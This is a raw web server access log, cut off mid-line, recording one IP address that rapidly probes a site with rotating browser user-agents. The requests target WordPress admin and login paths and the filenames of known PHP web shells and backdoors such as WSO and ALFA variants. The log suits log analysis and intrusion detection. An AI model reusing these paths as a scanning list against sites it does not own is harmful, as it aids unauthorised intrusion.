[24/Apr/2025:20:33:07 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:07 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:07 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:07 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:08 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:08 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:08 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:08 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:09 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:09 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:09 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:10 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:10 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:10 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:10 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:11 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:11 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:11 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:11 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:12 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:13 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:13 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:13 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:14 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:14 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:14 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:15 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:33:15 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:16 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:16 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:33:17 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:17 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:17 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:17 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:18 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:18 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:18 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:19 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:19 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:19 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:20 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:21 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:33:21 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:22 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:22 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:23 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:23 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:23 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:24 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:24 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:24 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:33:24 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:25 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:25 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:33:25 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:25 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:26 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:26 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:26 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:26 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:27 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:27 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:27 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:28 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:33:28 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:28 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:29 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:29 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:29 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:29 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:30 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:33:30 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:30 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:30 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:31 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:31 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:31 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:31 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:32 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:32 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:32 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:32 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:33 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:33 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:33:34 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:34 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:34 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:33:34 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:34 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:35 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:35 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:35 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:33:35 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:36 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:36 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:36 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:36 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:37 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:37 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:37 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:33:37 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:38 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:33:38 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:38 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:38 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:39 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:33:39 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:39 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:40 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:33:40 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:33:40 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:33:40 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:41 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:33:41 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 